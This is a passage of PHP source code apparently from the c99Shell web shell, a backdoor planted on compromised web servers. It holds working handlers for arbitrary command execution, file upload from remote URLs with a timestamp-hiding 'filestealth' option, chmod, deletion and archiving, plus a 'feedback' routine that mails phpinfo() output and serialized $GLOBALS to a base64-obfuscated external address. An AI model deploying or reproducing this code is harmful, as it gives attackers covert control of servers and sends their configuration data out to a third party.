3072 echo "<td>" . $v . ":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $v($encoder_input) . "\" readonly></td></tr><tr>";
3073 }
3074 echo "</tr>" . "<tr><td rowspan=2>Url:</td>" . "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . urlencode($encoder_input) . "\" readonly></td></tr>" . "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . htmlspecialchars(urldecode($encoder_input)) . "\" readonly></td></tr>" . "<tr><td rowspan=2>Base64:</td>" . "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . base64_encode($encoder_input) . "\" readonly></td></tr>" . "<tr><td>base64_decode:</td><td>";
3075 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {
3076 echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";
3077 } else {
3078 $debase64 = base64_decode($encoder_input);
3079 $debase64 = str_replace("\0", "[0]", $debase64);
3080 $a = explode("\r\n", $debase64);
3081 $rows = count($a);
3082 $debase64 = htmlspecialchars($debase64);
3083 if ($rows == 1) {
3084 echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $debase64 . "\" id=\"debase64\" readonly>";
3085 } else {
3086 $rows++;
3087 echo "<textarea cols=\"40\" rows=\"" . $rows . "\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>" . $debase64 . "</textarea>";
3088 }
3089 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
3090 }
3091 echo "</td></tr>" . "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
3092 $c = strlen($encoder_input);
3093 for ($i = 0; $i < $c; $i++) {
3094 $hex = dechex(ord($encoder_input[$i]));
3095 if ($encoder_input[$i] == "&") {
3096 echo $encoder_input[$i];
3097 } elseif ($encoder_input[$i] != "\\") {
3098 echo "%" . $hex;
3099 }
3100 }
3101 echo "\" readonly></td></tr></table></center></form>";
3102 }
3103 if ($act == "fsbuff") {
3104 $arr_copy = $sess_data["copy"];
3105 $arr_cut = $sess_data["cut"];
3106 $arr = array_merge($arr_copy, $arr_cut);
3107 if (count($arr) == 0) {
3108 echo "<h2><center>Buffer is empty!</center></h2>";
3109 } else {
3110 $yx_infohead = "File-System Buffer";
3111 $ls_arr = $arr;
3112 $disp_fullpath = TRUE;
3113 $act = "ls";
3114 }
3115 }
3116 if ($act == "selfremove") {
3117 if (($submit == $rndcode) and ($submit != "")) {
3118 if (unlink(__FILE__)) {
3119 @ob_clean();
3120 echo "Thanks for using " . $sh_name . "!";
3121 c99shexit();
3122 } else {
3123 echo "<center><b>Can't delete " . __FILE__ . "!</b></center>";
3124 }
3125 } else {
3126 if (!empty($rndcode)) {
3127 echo "<b>Error: incorrect confirmation!</b>";
3128 }
3129 $rnd = rand(0, 9) . rand(0, 9) . rand(0, 9);
3130 echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=selfremove><b>Self-remove: " . __FILE__ . " <br><b>Are you sure?<br>For confirmation, enter \"" . $rnd . "\"</b>: <input type=hidden name=rndcode value=\"" . $rnd . "\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
3131 }
3132 }
3133 if ($act == "update") { //Update c99Shell
3134 $ret = c99sh_getupdate(!!$confirmupdate);
3135 echo "<b>" . $ret . "</b>";
3136 if (stristr($ret, "new version")) {
3137 echo "<br><br><input type=button onclick=\"location.href='" . $surl . "act=update&confirmupdate=1';\" value=\"Update now\">";
3138 }
3139 }
3140 if ($act == "feedback") {
3141 $suppmail = base64_decode("b2lzdTA2QGdtYWlsLmNvbQ==");
3142 if (!empty($submit)) {
3143 $ticket = substr(md5(microtime() + rand(1, 1000)), 0, 6);
3144 $body = $sh_name . " feedback #" . $ticket . "\nName: " . htmlspecialchars($fdbk_name) . "\nE-mail: " . htmlspecialchars($fdbk_email) . "\nMessage:\n" . htmlspecialchars($fdbk_body) . "\n\nIP: " . $REMOTE_ADDR;
3145 if (!empty($fdbk_ref)) {
3146 $tmp = @ob_get_contents();
3147 ob_clean();
3148 phpinfo();
3149 $phpinfo = base64_encode(ob_get_contents());
3150 ob_clean();
3151 echo $tmp;
3152 $body .= "\n" . "phpinfo(): " . $phpinfo . "\n" . "\$GLOBALS=" . base64_encode(serialize($GLOBALS)) . "\n";
3153 }
3154 mail($suppmail, $sh_name . " feedback #" . $ticket, $body, "FROM: " . $suppmail);
3155 echo "<center><b>Thanks for your feedback! Your ticket ID: " . $ticket . ".</b></center>";
3156 } else {
3157 echo "<form action=\"" . $surl . "\" method=POST>" . "<input type=hidden name=act value=feedback>" . "<table class=contents><tr><td class=barheader colspan=2>" . ".: Feedback or report bug (" . str_replace(array(
3158 "@",
3159 "."
3160 ), array(
3161 "[at]",
3162 "[dot]"
3163 ), $suppmail) . ") :.</td></tr>" . "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"" . htmlspecialchars($fdbk_name) . "\"></td</tr>" . "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"" . htmlspecialchars($fdbk_email) . "\"></td></tr>" . "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>" . htmlspecialchars($fdbk_body) . "</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"" . urlencode($HTTP_REFERER) . "\"><br>" . "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>" . "*Language: English, Indonesian.</td></tr>" . "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>" . "</table>";
3164 }
3165 }
3166 if ($act == "yxmailer") {
3167 if (!empty($submit)) {
3168 $headers = 'To: ' . $dest_email . "\r\n";
3169 $headers .= 'From: ' . $sender_name . ' ' . $sender_email . "\r\n";
3170 if (mail($suppmail, $sender_subj, $sender_body, $header)) {
3171 echo "<center><b>Email sent!</b></center>";
3172 } else {
3173 echo "<center><b>Couldn't send email!</b></center>";
3174 }
3175 } else {
3176 echo "<form action=\"" . $surl . "\" method=POST>" . "<input type=hidden name=act value=yxmailer>" . "<table class=contents><tr><td class=barheader colspan=2>" . ".: $sh_name Mailer :.</td></tr>" . "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"" . htmlspecialchars($sender_name) . "\"></td</tr>" . "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"" . htmlspecialchars($sender_email) . "\"></td></tr>" . "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"" . htmlspecialchars($dest_email) . "\"></td></tr>" . "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"" . htmlspecialchars($sender_subj) . "\"></td></tr>" . "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>" . htmlspecialchars($sender_body) . "</textarea><br>" . "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>" . "</table>";
3177 }
3178 }
3179 if ($act == "search") {
3180 echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
3181 if (empty($search_in)) {
3182 $search_in = $d;
3183 }
3184 if (empty($search_name)) {
3185 $search_name = "(.*)";
3186 $search_name_regexp = 1;
3187 }
3188 if (empty($search_text_wwo)) {
3189 $search_text_regexp = 0;
3190 }
3191 if (!empty($submit)) {
3192 $found = array();
3193 $found_d = 0;
3194 $found_f = 0;
3195 $search_i_f = 0;
3196 $search_i_d = 0;
3197 $a = array(
3198 "name" => $search_name,
3199 "name_regexp" => $search_name_regexp,
3200 "text" => $search_text,
3201 "text_regexp" => $search_text_regxp,
3202 "text_wwo" => $search_text_wwo,
3203 "text_cs" => $search_text_cs,
3204 "text_not" => $search_text_not
3205 );
3206 $searchtime = getmicrotime();
3207 $in = array_unique(explode(";", $search_in));
3208 foreach ($in as $v) {
3209 c99fsearch($v);
3210 }
3211 $searchtime = round(getmicrotime() - $searchtime, 4);
3212 if (count($found) == 0) {
3213 echo "No files found!";
3214 } else {
3215 $ls_arr = $found;
3216 $disp_fullpath = TRUE;
3217 $act = "ls";
3218 }
3219 }
3220 echo "<table class=contents>" . "<tr><td><form method=POST>" . "<input type=hidden name=\"d\" value=\"" . $dispd . "\"><input type=hidden name=act value=\"" . $dspact . "\">" . "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"" . round(strlen($search_name) + 25) . "\" value=\"" . htmlspecialchars($search_name) . "\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" " . ($search_name_regexp == 1 ? " checked" : "") . "> - Regular Expression</td></tr>" . "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"" . round(strlen($search_in) + 25) . "\" value=\"" . htmlspecialchars($search_in) . "\"></td></tr>" . "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">" . htmlspecialchars($search_text) . "</textarea></td></tr>" . "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" " . ($search_text_regexp == 1 ? " checked" : "") . "> Regular Expression" . " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" " . ($search_text_wwo == 1 ? " checked" : "") . "> Whole words only" . " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" " . ($search_text_cs == 1 ? " checked" : "") . "> Case sensitive" . " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" " . ($search_text_not == 1 ? " checked" : "") . "> Find files NOT containing the text</td></tr>" . "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>" . "</table>";
3221 if ($act == "ls") {
3222 $dspact = $act;
3223 echo "Search took " . $searchtime . " secs (" . $search_i_f . " files and " . $search_i_d . " folders, " . round(($search_i_f + $search_i_d) / $searchtime, 4) . " objects per second).</b>" . "<hr size=\"1\" noshade>";
3224 }
3225 }
3226 if ($act == "chmod") {
3227 $mode = fileperms($d . $f);
3228 if (!$mode) {
3229 echo "<b>Change file-mode with error:</b> can't get current value.";
3230 } else {
3231 $form = TRUE;
3232 if ($chmod_submit) {
3233 $octet = "0" . base_convert(($chmod_o["r"] ? 1 : 0) . ($chmod_o["w"] ? 1 : 0) . ($chmod_o["x"] ? 1 : 0) . ($chmod_g["r"] ? 1 : 0) . ($chmod_g["w"] ? 1 : 0) . ($chmod_g["x"] ? 1 : 0) . ($chmod_w["r"] ? 1 : 0) . ($chmod_w["w"] ? 1 : 0) . ($chmod_w["x"] ? 1 : 0), 2, 8);
3234 if (chmod($d . $f, $octet)) {
3235 $act = "ls";
3236 $form = FALSE;
3237 $err = "";
3238 } else {
3239 $err = "Can't chmod to " . $octet . ".";
3240 }
3241 }
3242 if ($form) {
3243 $perms = parse_perms($mode);
3244 echo "<b>Changing file-mode (" . $d . $f . "), " . view_perms_color($d . $f) . " (" . substr(decoct(fileperms($d . $f)), -4, 4) . ")</b><br>" . ($err ? "<b>Error:</b> " . $err : "") . "<form action=\"" . $surl . "\" method=POST><input type=hidden name=d value=\"" . htmlspecialchars($d) . "\"><input type=hidden name=f value=\"" . htmlspecialchars($f) . "\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1" . ($perms["o"]["r"] ? " checked" : "") . "> Read<br><input type=checkbox name=chmod_o[w] value=1" . ($perms["o"]["w"] ? " checked" : "") . "> Write<br><input type=checkbox NAME=chmod_o[x] value=1" . ($perms["o"]["x"] ? " checked" : "") . ">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1" . ($perms["g"]["r"] ? " checked" : "") . "> Read<br><input type=checkbox NAME=chmod_g[w] value=1" . ($perms["g"]["w"] ? " checked" : "") . "> Write<br><input type=checkbox NAME=chmod_g[x] value=1" . ($perms["g"]["x"] ? " checked" : "") . ">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1" . ($perms["w"]["r"] ? " checked" : "") . "> Read<br><input type=checkbox NAME=chmod_w[w] value=1" . ($perms["w"]["w"] ? " checked" : "") . "> Write<br><input type=checkbox NAME=chmod_w[x] value=1" . ($perms["w"]["x"] ? " checked" : "") . ">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
3245 }
3246 }
3247 }
3248 if ($act == "upload") {
3249 $uploadmess = "";
3250 $uploadpath = str_replace("\\", DIRECTORY_SEPARATOR, $uploadpath);
3251 if (empty($uploadpath)) {
3252 $uploadpath = $d;
3253 } elseif (substr($uploadpath, -1) != DIRECTORY_SEPARATOR) {
3254 $uploadpath .= DIRECTORY_SEPARATOR;
3255 }
3256 if (!empty($submit)) {
3257 global $_FILES;
3258 $uploadfile = $_FILES["uploadfile"];
3259 if (!empty($uploadfile["tmp_name"])) {
3260 if (empty($uploadfilename)) {
3261 $destin = $uploadfile["name"];
3262 } else {
3263 $destin = $userfilename;
3264 }
3265 if (!move_uploaded_file($uploadfile["tmp_name"], $uploadpath . $destin)) {
3266 $uploadmess .= "Error uploading file " . $uploadfile["name"] . " (can't copy \"" . $uploadfile["tmp_name"] . "\" to \"" . $uploadpath . $destin . "\"!<br>";
3267 } else {
3268 $uploadmess .= "File uploaded successfully!<br>" . $uploadpath . $destin;
3269 }
3270 } elseif (!empty($uploadurl)) {
3271 if (!empty($uploadfilename)) {
3272 $destin = $uploadfilename;
3273 } else {
3274 $destin = explode("/", $destin);
3275 $destin = $destin[count($destin) - 1];
3276 if (empty($destin)) {
3277 $i = 0;
3278 $b = "";
3279 while (file_exists($uploadpath . $destin)) {
3280 if ($i > 0) {
3281 $b = "_" . $i;
3282 }
3283 $destin = "upload" . $b;
3284 $i++;
3285 }
3286 }
3287 }
3288 if ((!eregi("http://", $uploadurl)) and (!eregi("https://", $uploadurl)) and (!eregi("ftp://", $uploadurl))) {
3289 echo "<b>Incorrect URL!</b>";
3290 } else {
3291 $st = getmicrotime();
3292 $content = @file_get_contents($uploadurl);
3293 $dt = round(getmicrotime() - $st, 4);
3294 if (!$content) {
3295 $uploadmess .= "Can't download file!";
3296 } else {
3297 if ($filestealth) {
3298 $stat = stat($uploadpath . $destin);
3299 }
3300 $fp = fopen($uploadpath . $destin, "w");
3301 if (!$fp) {
3302 $uploadmess .= "Error writing to file " . htmlspecialchars($destin) . "!<br>";
3303 } else {
3304 fwrite($fp, $content, strlen($content));
3305 fclose($fp);
3306 if ($filestealth) {
3307 touch($uploadpath . $destin, $stat[9], $stat[8]);
3308 }
3309 $uploadmess .= "File saved from " . $uploadurl . " !";
3310 }
3311 }
3312 }
3313 } else {
3314 echo "No file to upload!";
3315 }
3316 }
3317 if ($miniform) {
3318 echo "<b>" . $uploadmess . "</b>";
3319 $act = "ls";
3320 } else {
3321 echo "<table><tr><td colspan=2 class=barheader>" . ".: File Upload :.</td>" . "<td colspan=2>" . $uploadmess . "</td></tr>" . "<tr><td><form enctype=\"multipart/form-data\" action=\"" . $surl . "act=upload&d=" . urlencode($d) . "\" method=POST>" . "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>" . "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"" . htmlspecialchars($uploadurl) . "\" size=\"70\"></td></tr>" . "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"" . $dispd . "\"></td></tr>" . "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>" . "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>" . "<tr><td></td><td><input type=submit name=submit value=\"Upload\">" . "</form></td></tr></table>";
3322 }
3323 }
3324 if ($act == "delete") {
3325 $delerr = "";
3326 foreach ($actbox as $v) {
3327 $result = FALSE;
3328 $result = fs_rmobj($v);
3329 if (!$result) {
3330 $delerr .= "Can't delete " . htmlspecialchars($v) . "<br>";
3331 }
3332 }
3333 if (!empty($delerr)) {
3334 echo "<b>Deleting with errors:</b><br>" . $delerr;
3335 }
3336 $act = "ls";
3337 }
3338 if (!$usefsbuff) {
3339 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
3340 echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
3341 }
3342 } else {
3343 if ($act == "copy") {
3344 $err = "";
3345 $sess_data["copy"] = array_merge($sess_data["copy"], $actbox);
3346 c99_sess_put($sess_data);
3347 $act = "ls";
3348 } elseif ($act == "cut") {
3349 $sess_data["cut"] = array_merge($sess_data["cut"], $actbox);
3350 c99_sess_put($sess_data);
3351 $act = "ls";
3352 } elseif ($act == "unselect") {
3353 foreach ($sess_data["copy"] as $k => $v) {
3354 if (in_array($v, $actbox)) {
3355 unset($sess_data["copy"][$k]);
3356 }
3357 }
3358 foreach ($sess_data["cut"] as $k => $v) {
3359 if (in_array($v, $actbox)) {
3360 unset($sess_data["cut"][$k]);
3361 }
3362 }
3363 c99_sess_put($sess_data);
3364 $act = "ls";
3365 }
3366 if ($actemptybuff) {
3367 $sess_data["copy"] = $sess_data["cut"] = array();
3368 c99_sess_put($sess_data);
3369 } elseif ($actpastebuff) {
3370 $psterr = "";
3371 foreach ($sess_data["copy"] as $k => $v) {
3372 $to = $d . basename($v);
3373 if (!fs_copy_obj($v, $to)) {
3374 $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
3375 }
3376 if ($copy_unset) {
3377 unset($sess_data["copy"][$k]);
3378 }
3379 }
3380 foreach ($sess_data["cut"] as $k => $v) {
3381 $to = $d . basename($v);
3382 if (!fs_move_obj($v, $to)) {
3383 $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
3384 }
3385 unset($sess_data["cut"][$k]);
3386 }
3387 c99_sess_put($sess_data);
3388 if (!empty($psterr)) {
3389 echo "<b>Pasting with errors:</b><br>" . $psterr;
3390 }
3391 $act = "ls";
3392 } elseif ($actarcbuff) {
3393 $arcerr = "";
3394 if (substr($actarcbuff_path, -7, 7) == ".tar.gz") {
3395 $ext = ".tar.gz";
3396 } else {
3397 $ext = ".tar.gz";
3398 }
3399 if ($ext == ".tar.gz") {
3400 $cmdline = "tar cfzv";
3401 }
3402 $cmdline .= " " . $actarcbuff_path;
3403 $objects = array_merge($sess_data["copy"], $sess_data["cut"]);
3404 foreach ($objects as $v) {
3405 $v = str_replace("\\", DIRECTORY_SEPARATOR, $v);
3406 if (substr($v, 0, strlen($d)) == $d) {
3407 $v = basename($v);
3408 }
3409 if (is_dir($v)) {
3410 if (substr($v, -1) != DIRECTORY_SEPARATOR) {
3411 $v .= DIRECTORY_SEPARATOR;
3412 }
3413 $v .= "*";
3414 }
3415 $cmdline .= " " . $v;
3416 }
3417 $tmp = realpath(".");
3418 chdir($d);
3419 $ret = myshellexec($cmdline);
3420 chdir($tmp);
3421 if (empty($ret)) {
3422 $arcerr .= "Can't call archivator (" . htmlspecialchars(str2mini($cmdline, 60)) . ")!<br>";
3423 }
3424 $ret = str_replace("\r\n", "\n", $ret);
3425 $ret = explode("\n", $ret);
3426 if ($copy_unset) {
3427 foreach ($sess_data["copy"] as $k => $v) {
3428 unset($sess_data["copy"][$k]);
3429 }
3430 }
3431 foreach ($sess_data["cut"] as $k => $v) {
3432 if (in_array($v, $ret)) {
3433 fs_rmobj($v);
3434 }
3435 unset($sess_data["cut"][$k]);
3436 }
3437 c99_sess_put($sess_data);
3438 if (!empty($arcerr)) {
3439 echo "<b>Archivation errors:</b><br>" . $arcerr;
3440 }
3441 $act = "ls";
3442 } elseif ($actpastebuff) {
3443 $psterr = "";
3444 foreach ($sess_data["copy"] as $k => $v) {
3445 $to = $d . basename($v);
3446 if (!fs_copy_obj($v, $d)) {
3447 $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
3448 }
3449 if ($copy_unset) {
3450 unset($sess_data["copy"][$k]);
3451 }
3452 }
3453 foreach ($sess_data["cut"] as $k => $v) {
3454 $to = $d . basename($v);
3455 if (!fs_move_obj($v, $d)) {
3456 $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
3457 }
3458 unset($sess_data["cut"][$k]);
3459 }
3460 c99_sess_put($sess_data);
3461 if (!empty($psterr)) {
3462 echo "<b>Pasting with errors:</b><br>" . $psterr;
3463 }
3464 $act = "ls";
3465 }
3466 }
3467 if ($act == "cmd") {
3468 @chdir($chdir);
3469 if (!empty($submit)) {
3470 echo "<div class=barheader>.: Result of Command Execution :.</div>";
3471 $olddir = realpath(".");
3472 @chdir($d);
3473 $ret = myshellexec($cmd);
3474 $ret = convert_cyr_string($ret, "d", "w");
3475 if ($cmd_txt) {
3476 $rows = count(explode("\r\n", $ret)) + 1;
3477 if ($rows < 10) {
3478 $rows = 10;
3479 }
3480 if ($msie) {
3481 $cols = 113;
3482 } else {
3483 $cols = 117;
3484 }
3485 //echo "<textarea cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>";
3486 echo "<div align=left><pre>" . htmlspecialchars($ret) . "</pre></div>";
3487 } else {
3488 echo $ret . "<br>";
3489 }
3490 @chdir($olddir);
3491 } else {
3492 echo "<b>Command Execution</b>";
3493 if (empty($cmd_txt)) {
3494 $cmd_txt = TRUE;
3495 }
3496 }
3497 }
3498 if ($act == "ls") {
3499 if (count($ls_arr) > 0) {
3500 $list = $ls_arr;
3501 } else {
3502 $list = array();
3503 if ($h = @opendir($d)) {
3504 while (($o = readdir($h)) !== FALSE) {
3505 $list[] = $d . $o;
3506 }
3507 closedir($h);
3508 }
3509 }
3510 if (count($list) == 0) {
3511 echo "<div class=yxerrmsg>Can't open folder (" . htmlspecialchars($d) . ")!</div>";
3512 } else {
3513 $objects = array();
3514 $vd = "f"; //Viewing mode
3515 if ($vd == "f") {
3516 $objects["head"] = array();
3517 $objects["folders"] = array();
3518 $objects["links"] = array();
3519 $objects["files"] = array();
3520 foreach ($list as $v) {
3521 $o = basename($v);
3522 $row = array();
3523 if ($o == ".") {
3524 $row[] = $d . $o;
3525 $row[] = "CURDIR";
3526 } elseif ($o == "..") {
3527 $row[] = $d . $o;
3528 $row[] = "UPDIR";
3529 } elseif (is_dir($v)) {
3530 if (is_link($v)) {
3531 $type = "LINK";
3532 } else {
3533 $type = "DIR";
3534 }
3535 $row[] = $v;
3536 $row[] = $type;
3537 } elseif (is_file($v)) {
3538 $row[] = $v;
3539 $row[] = filesize($v);
3540 }
3541 $row[] = filemtime($v);
3542 if (!$win) {
3543 $ow = posix_getpwuid(fileowner($v));
3544 $gr = posix_getgrgid(filegroup($v));
3545 $row[] = ($ow["name"] ? $ow["name"] : fileowner($v)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($v));
3546 }
3547 $row[] = fileperms($v);
3548 if (($o == ".") or ($o == "..")) {
3549 $objects["head"][] = $row;
3550 } elseif (is_link($v)) {
3551 $objects["links"][] = $row;
3552 } elseif (is_dir($v)) {
3553 $objects["folders"][] = $row;
3554 } elseif (is_file($v)) {
3555 $objects["files"][] = $row;
3556 }
3557 $i++;
3558 }
3559 $row = array();
3560 $row[] = "<b>Name</b>";
3561 $row[] = "<b>Size</b>";
3562 $row[] = "<b>Date Modified</b>";
3563 if (!$win) {
3564 $row[] = "<b>Owner/Group</b>";
3565 }
3566 $row[] = "<b>Perms</b>";
3567 $row[] = "<b>Action</b>";
3568 $parsesort = parsesort($sort);
3569 $sort = $parsesort[0] . $parsesort[1];
3570 $k = $parsesort[0];
3571 if ($parsesort != "a") {
3572 $parsesort = "d";
3573 }
3574 $y = " <a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $k . ($parsesort == "a" ? "d" : "a") . "\">";
3575 $y .= "<img src=\"" . $surl . "act=img&img=sort_" . ($sort == "a" ? "asc" : "desc") . "\" height=\"9\" width=\"14\" alt=\"" . ($parsesort == "a" ? "Asc." : "Desc") . "\" border=\"0\"></a>";
3576 $row[$k] .= $y;
3577 for ($i = 0; $i < count($row) - 1; $i++) {
3578 if ($i != $k) {
3579 $row[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $i . $parsesort[1] . "\">" . $row[$i] . "</a>";
3580 }
3581 }
3582 $v = $parsesort[0];
3583 usort($objects["folders"], "tabsort");
3584 usort($objects["links"], "tabsort");
3585 usort($objects["files"], "tabsort");
3586 if ($parsesort == "d") {
3587 $objects["folders"] = array_reverse($objects["folders"]);
3588 $objects["files"] = array_reverse($objects["files"]);
3589 }
3590 $objects = array_merge($objects["head"], $objects["folders"], $objects["links"], $objects["files"]);
3591 $tab = array();
3592 $tab["cols"] = array(
3593 $row
3594 );
3595 $tab["head"] = array();
3596 $tab["folders"] = array();
3597 $tab["links"] = array();
3598 $tab["files"] = array();
3599 $i = 0;
3600 foreach ($objects as $a) {
3601 $v = $a[0];
3602 $o = basename($v);
3603 $dir = dirname($v);
3604 if ($disp_fullpath) {
3605 $disppath = $v;
3606 } else {
3607 $disppath = $o;
3608 }
3609 $disppath = str2mini($disppath, 60);
3610 if (in_array($v, $sess_data["cut"])) {
3611 $disppath = "<strike>" . $disppath . "</strike>";
3612 } elseif (in_array($v, $sess_data["copy"])) {
3613 $disppath = "<u>" . $disppath . "</u>";
3614 }
3615 foreach ($regxp_highlight as $r) {
3616 if (ereg($r[0], $o)) {
3617 if ((!is_numeric($r[1])) or ($r > 3)) {
3618 $r = 0;
3619 ob_clean();
3620 echo "Warning! Configuration error in \$regxp_highlight[" . $k . "]- unknown command.";
3621 c99shexit();
3622 } else {
3623 $r = round($r[1]);
3624 $isdir = is_dir($v);
3625 if (($r == 0) or (($r == 1) and !$isdir) or (($r == 2) and !$isdir)) {
3626 if (empty($r[2])) {
3627 $r = "<b>";
3628 $r = "</b>";
3629 }
3630 $disppath = $r[2] . $disppath . $r[3];
3631 if ($r[4]) {
3632 break;
3633 }
3634 }
3635 }
3636 }
3637 }
3638 $uo = urlencode($o);
3639 $ud = urlencode($dir);
3640 $uv = urlencode($v);
3641 $row = array();
3642 if ($o == ".") {
3643 $row[] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\"><img src=\"" . $surl . "act=img&img=small_dir\" border=\"0\"> " . $o . "</a>";
3644 $row[] = "CURDIR";
3645 } elseif ($o == "..") {
3646 $row[] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\"><img src=\"" . $surl . "act=img&img=ext_lnk\" border=\"0\"> " . $o . "</a>";
3647 $row[] = "UPDIR";
3648 } elseif (is_dir($v)) {
3649 if (is_link($v)) {
3650 $disppath .= " => " . readlink($v);
3651 $type = "LINK";
3652 $row[] = "<a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\"><img src=\"" . $surl . "act=img&img=ext_lnk\" border=\"0\"> [" . $disppath . "]</a>";
3653 } else {
3654 $type = "DIR";
3655 $row[] = "<a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\"><img src=\"" . $surl . "act=img&img=small_dir\" border=\"0\"> [" . $disppath . "]</a>";
3656 }
3657 $row[] = $type;
3658 } elseif (is_file($v)) {
3659 $ext = explode(".", $o);
3660 $c = count($ext) - 1;
3661 $ext = $ext[$c];
3662 $ext = strtolower($ext);
3663 $row[] = "<a href=\"" . $surl . "act=f&f=" . $uo . "&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\"> " . $disppath . "</a>";
3664 $row[] = view_size($a[1]);
3665 }
3666 $row[] = date("d.m.Y H:i:s", $a[2]);
3667 if (!$win) {
3668 $row[] = $a[3];
3669 }
3670 $row[] = "<a href=\"" . $surl . "act=chmod&f=" . $uo . "&d=" . $ud . "\"><b>" . view_perms_color($v) . "</b></a>";
3671 if ($o == ".") {
3672 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">";
3673 $i--;
3674 } else {
3675 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox" . $i . "\" value=\"" . htmlspecialchars($v) . "\">";
3676 }
3677 if (is_dir($v)) {
3678 $row[] = "<a href=\"" . $surl . "act=d&d=" . $uv . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> " . $checkbox;
3679 } else {
3680 $row[] = "<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=info&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"" . $surl . "act=f&f=" . $uo . "&ft=edit&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"" . $surl . "act=f&f=" . $uo . "&ft=download&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=download\" alt=\"Download\" border=\"0\"></a> " . $checkbox;
3681 }
3682 if (($o == ".") or ($o == "..")) {
3683 $tab["head"][] = $row;
3684 } elseif (is_link($v)) {
3685 $tab["links"][] = $row;
3686 } elseif (is_dir($v)) {
3687 $tab["folders"][] = $row;
3688 } elseif (is_file($v)) {
3689 $tab["files"][] = $row;
3690 }
3691 $i++;
3692 }
